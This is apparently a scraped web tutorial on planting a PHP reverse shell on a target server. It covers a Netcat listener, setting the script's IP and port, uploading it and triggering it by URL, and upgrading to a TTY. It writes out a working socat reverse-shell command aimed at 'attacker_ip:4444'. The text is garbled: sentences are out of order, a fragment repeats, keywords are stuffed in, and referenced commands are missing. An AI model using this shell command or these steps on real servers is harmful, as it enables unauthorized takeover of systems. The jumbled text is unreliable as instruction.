Before any reverse shell code executes on a target server, a local port listener must be active on your machine to catch the incoming connection. Netcat ( nc ) is the industry-standard utility for this task.
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:attacker_ip:4444
Once uploaded, navigating to the file's URL (e.g., http://target-domain.com ) executes the script. The browser tab will appear to hang indefinitely; this indicates that the PHP process has successfully handed execution over to the background shell connection. Upgrading to an Interactive TTY Shell
PHP interacts with the underlying operating system using several built-in functions. Depending on the server configuration, different execution methods can be used to trigger a reverse shell. reverse shell php install
: Once the script is triggered—usually by simply visiting the URL where the file was uploaded—the server executes the code, and the attacker suddenly has a command prompt to control the server. Why It’s Used
For a fully interactive TTY (useful for sudo and vim ), use the Python PTY trick:
When the script executes, your Netcat listener will capture the connection: Before any reverse shell code executes on a

: Edit the script's $ip and $port variables to match your local IP address and the port you opened (e.g., 1234 ).
ifconfig tun0
The final step is to install the reverse shell. This involves uploading the code to the server or web application and executing it.
When a PHP reverse shell initially connects to your Netcat listener, it is usually a non-interactive, dumb shell. This means features like tab-completion, arrow keys (command history), and text editors like nano or vim will not work correctly. Furthermore, pressing Ctrl+C will kill your entire shell session rather than stopping a running process.
